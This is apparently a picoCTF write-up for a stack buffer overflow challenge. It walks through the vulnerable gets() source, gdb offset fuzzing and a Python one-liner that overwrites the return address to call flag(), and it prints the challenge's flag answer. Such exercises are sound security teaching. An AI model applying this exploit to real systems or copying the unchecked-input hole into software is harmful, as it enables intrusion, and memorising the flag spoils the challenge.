Problem :lock:

You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program?

// relevant code
void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  ...
  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);

  printf("Woah, were jumping to 0x%x !\n", get_return_address());
}

int main(int argc, char **argv){
  ...
  puts("Give me a string and lets see what happens: ");
  vuln();
  return 0;
}
Full code

Download vuln executable

Download vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);

  printf("Woah, were jumping to 0x%x !\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Give me a string and lets see what happens: ");
  vuln();
  return 0;
}

Hint :bulb:

Take control that return address

Make sure your address is in Little Endian.

Solution :key:

First we ssh into the server and run gdb to find out where the flag() function is located in the stack:

(gdb) x flag
0x80485e6 <flag>:       0x53e58955

Back to our local machine, now we create a simple “fuzzer” to find out how much buffer we need to fill up before we overwrite the pushed eip

echo "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" > alphabet.txt

We run the program in gdb and find out that 0x54545454 is where the eip was supposed to be:

gdb-peda$ r < alphabet.txt 
Starting program: /root/Downloads/vuln < alphabet.txt
Give me a string and lets see what happens: 
Woah, were jumping to 0x54545454 !

Program received signal SIGSEGV, Segmentation fault.

Now we know to put our target address in place of that 0x54545454 which translates into TTTT, so we change TTTT into the location of flag() function which is 0x80485e6, we write the hex number with a bit of python:

Python 2.7.17 (default, Oct 19 2019, 23:36:22) 
[GCC 9.2.1 20191008] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
>>> addr = "\xe6\x85\x04\x08"
>>> pl = filler+addr
>>> file = open("payload.txt", "w")
>>> file.write(pl)
>>> file.close()

Try to run the program in gdb and feed it the payload

gdb-peda$ r < payload.txt 
Starting program: /root/Downloads/vuln < pl.txt
Give me a string and lets see what happens: 
Woah, were jumping to 0x80485e6 !
Flag File is Missing. please contact an Admin if you are running this on the shell server.

Program received signal SIGSEGV, Segmentation fault.

Looks like we’ve successfully called the flag() function, now we just have to do it on the ssh server, but we don’t have write privileges there, so we are going change the python script to just print the payload, and then we can pipe it into the program:

python -c 'filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"; addr = "\xe6\x85\x04\x08"; print filler+addr' | ./vuln 
Give me a string and lets see what happens: 
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}Segmentation fault (core dumped)

Flag :checkered_flag:

picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}